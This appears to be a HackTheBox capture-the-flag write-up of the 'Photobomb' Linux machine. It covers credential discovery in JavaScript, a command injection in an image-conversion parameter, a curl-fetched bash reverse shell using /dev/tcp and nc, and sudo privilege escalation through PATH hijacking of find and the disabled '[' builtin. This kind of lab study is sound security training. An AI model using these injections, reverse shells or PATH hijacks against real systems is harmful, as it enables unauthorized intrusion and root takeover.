Photobomb was on the easy end of HackTheBox weekly machines. I’ll find credentials in a JavaScript file, and use those to get access to an image manipulation panel. There’s a command injection vulnerability in the panel, which I’ll use to get execution and a shell. For privesc, the user can run a script as root, and there are two ways to get execution from this. The first is a find command that is called without the full path. The second is abusing the disabled Bash builtin [.

Box Info

Name Photobomb Photobomb
Play on HackTheBox
Release Date 08 Oct 2022
Retire Date 11 Feb 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Photobomb
Radar Graph Radar chart for Photobomb
First Blood User 00:04:55Sm1l3z
First Blood Root 00:09:06onurshin
Creator slartibartfast



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-02-04 20:04 UTC
Nmap scan report for
Host is up (0.088s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.21 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2023-02-04 20:05 UTC
Nmap scan report for
Host is up (0.086s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds

Based on the OpenSSH versions, the host is likely running Ubuntu 20.04 focal. The web host redirects to photobomb.htb.

Subdomain Fuzz

Because DNS names are involved here, I’ll us ffuf to fuzz for additional subdomains that may respond differently than the default case. I’ll start with no filter, and see that the default response is an HTTP 302 of size 154:

oxdf@hacky$ ffuf -u -H "Host: FUZZ.photobomb.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.photobomb.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500

ns4                     [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 90ms]
www                     [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 89ms]
blog                    [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 89ms]             
mail                    [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 91ms]                     
new                     [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 89ms]
imap                    [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 89ms]                     

I’ll ctrl-c to kill fuff and restart the same command with --fs 154. It doesn’t find anything. I’ll add photobomb.htb to my /etc/hosts file.

Website - TCP 80


The site is for some kind of photo printing pyramid scheme:


Clicking on “click here!” goes to /printer, but pops a request for HTTP basic auth:


It does say the creds are in the welcome pack, which I don’t have yet.

Tech Stack

The HTTP headers don’t give much additional information:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 04 Feb 2023 20:10:36 GMT
Content-Type: text/html;charset=utf-8
Connection: close
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 843

I am not able to guess the index extension. index.php and index.html both return 404, with a custom 404 page:


Interestingly, the link on the 404 page points to localhost:1234. Updating it to photobomb.htb does fix the image:


Peaking a the HTML source for the main page, there’s a photobomb.js script loaded:


Looking at it, there’s a function init set to run once the window loads:

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
window.onload = init;

It’s setting the link to include the password, user pH0t0, password b0Mb!.

Directory Brute Force

I’ll run feroxbuster against the site, but it only identifies printer pages that I return 401 unauthorized:

oxdf@hacky$ feroxbuster -u http://photobomb.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://photobomb.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET       22l       95w      843c http://photobomb.htb/
401      GET        7l       12w      188c http://photobomb.htb/printer
401      GET        7l       12w      188c http://photobomb.htb/printers
401      GET        7l       12w      188c http://photobomb.htb/printer_friendly
401      GET        7l       12w      188c http://photobomb.htb/printerfriendly
401      GET        7l       12w      188c http://photobomb.htb/printer-friendly
[####################] - 2m     60000/60000   0s      found:6       errors:0      
[####################] - 2m     30000/30000   244/s   http://photobomb.htb 
[####################] - 2m     30000/30000   245/s   http://photobomb.htb/ 

It could be that those different links all exist, but it seems more likely that the NGINX rule is looking for anything starting with /printer and checking auth. I can test this by visiting /printer0xdf and seeing that it asks for auth:


Since I do have the creds, I can try visiting one of these and entering them. They work, but lead to the 404 page.

Shell as www-data

Authenticated /printer

With the creds from above, /printer will load:

There’s a bunch of images, and at the bottom, an option to download an image of a selected size:


Picking an image and pushing the button submits a POST to /printer with the following body:


Command Injection


It seems very likely that the server is not keeping different sizes and formats of each image on the server, but rather converting one image using a tool like convert (from ImageMagick) at the time of the request.

For example, to resize a JPG image to 1000 by 1000 and convert it to a PNG, the server could run:

convert original.jpg -resize 1000x1000 new.png

If that’s what the server is doing, then the following is user input (shown in []):

convert [photo] -resize [dimensions] new.[filetype]

If any of these aren’t sanitized properly, there could be command injection.


As I don’t see the output of the command run on the server, it seems unlikely that I’d be able to see the output of the command injection either. I’ll use a simple sleep 5 payload to see if the server hangs.

Adding a command injection to the photo parameter returns immediately with a 500 Internal Server Error:


Same thing on dimensions:


However, on filetype, it takes over 6 seconds before returning 500:



To convert this into a shell, I’ll have it run curl to my webserver and get a bash script that will run a reverse shell:


I’ll host a simple bash reverse shell as


bash -i >& /dev/tcp/ 0>&1

I’ll run a Python webserver to host it.

When I send that request (using Burp Repeater), there’s a connection at my webserver: - - [04/Feb/2023 20:44:39] "GET / HTTP/1.1" 200 -

And then a connection at my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 42718
bash: cannot set terminal process group (735): Inappropriate ioctl for device
bash: no job control in this shell

I’ll do a shell upgrade with the script / stty trick:

wizard@photobomb:~/photobomb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

And grab user.txt:

wizard@photobomb:~$ cat user.txt

Shell as root



The first thing I’ll check for privileges escalation on Linux is sudo -l to list commands that the current user can run as another user:

wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/  

A few takeaways here:

  • wizard can run /opt/ as root.
  • SETENV means that the current environment will be used rather than a fresh one.


The script looks to be managing log files for the web application:

. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \; 

At the top, the first time is sourcing the local .bashrc file. This would be used to set the environment as desired. Then it changes into the photobomb directory.

[ -s log/photobomb.log ] checks if that log file exists and has size greater than 0, and ! [ -L logs/photobomb.log ] makes sure it’s not a symbolic link. If both are true, it moves the contents of the log file into log/photobomb.log.old and then calls truncate on the log to set it’s size to 0.

Finally, there’s a find command that will change all images in this directory and subdirectories to be owned by root.


Typically .bashrc files are found in home directories (and there’s one system-wide one in /etc), but there’s no reason there can’t be one here. I’ll run cat .bashrc | grep -v "^#" | grep . to get only the non-commented and non-blank lines. First, it adds /snap/bin/ to the PATH:


The next line is interesting:

enable -n [ # ]

It may be tempting to view this as the # between two square brackets, but it’s actually calling enable -n [ and the rest is a comment. I’ll come back to this below.

There are some more commands in here, but nothing super interesting:

enable -n [ # ]
[ -z "$PS1" ] && return
shopt -s checkwinsize
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
if ! [ -n "${SUDO_USER}" -a -n "${SUDO_PS1}" ]; then
  PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
if [ ! -e "$HOME/.sudo_as_admin_successful" ] && [ ! -e "$HOME/.hushlogin" ] ; then
    case " $(groups) " in *\ admin\ *|*\ sudo\ *)
    if [ -x /usr/bin/sudo ]; then
        cat <<-EOF
        To run a command as administrator (user "root"), use "sudo <command>".
        See "man sudo_root" for details.

if [ -x /usr/lib/command-not-found -o -x /usr/share/command-not-found/command-not-found ]; then
        function command_not_found_handle {
                # check because c-n-f could've been removed in the meantime
                if [ -x /usr/lib/command-not-found ]; then
                   /usr/lib/command-not-found -- "$1"
                   return $?
                elif [ -x /usr/share/command-not-found/command-not-found ]; then
                   /usr/share/command-not-found/command-not-found -- "$1"
                   return $?
                   printf "%s: command not found\n" "$1" >&2
                   return 127

Path Hijack

Easy Path

There’s a very simple path hijack in the script. I’ll notice that all the binaries called are referenced with full path except for that last find:

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

That means that bash will search the directories specified in the $PATH environment variable looking for a binary named find. Typically, it’ll find find in /usr/bin/find.

But that’s where the SETENV becomes useful to me.

I’ll create a script called find in a temp space like /dev/shm and set it as executable:

wizard@photobomb:/dev/shm$ echo -e '#!/bin/bash\n\nbash'        

wizard@photobomb:/dev/shm$ echo -e '#!/bin/bash\n\nbash' > find
wizard@photobomb:/dev/shm$ chmod +x find

Running this find just starts a new bash instance as the current user.

Now I’ll run as root but with the PATH variable including the current directory at the front of the path:

wizard@photobomb:/dev/shm$ sudo PATH=$PWD:$PATH /opt/ 

It returns a root shell. And I can read root.txt:

root@photobomb:~# cat root.txt

Intended Path

I’m not sure where the find without the full path got added in, but the original submission required a bit more knowledge of Bash, and the builtin [. One of the mistakes I would also make when trying to use the syntax [ -s /some/file ] would be not including a space after the [. When you think of [ in the same category as { or ( in a programming language, then the space doesn’t make sense. But in Bash, [ is actually the same as test, and a program on the filesystem (this article shows more detail).

This is clean on Photobomb:

wizard@photobomb:/dev/shm$ which [
wizard@photobomb:/dev/shm$ file /usr/bin/[ 
/usr/bin/[: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=99cfd563b4850f124ca01f64a15ec24fd8277732, for GNU/Linux 3.2.0, stripped

In a typical shell, the binary isn’t called, as it’s a Bash builtin. So even with no $PATH, it can still be called (like echo):

wizard@photobomb:/dev/shm$ export PATH=''
wizard@photobomb:/opt$ [ -s ] && echo "exists"

But, enable -n [ disables it (see the bash man page). That means that I can do the same trick above, but with [:

wizard@photobomb:/dev/shm$ rm find
wizard@photobomb:/dev/shm$ echo -e '#!/bin/bash\n\nbash' > [
wizard@photobomb:/dev/shm$ chmod +x [
wizard@photobomb:/dev/shm$ sudo PATH=$PWD:$PATH /opt/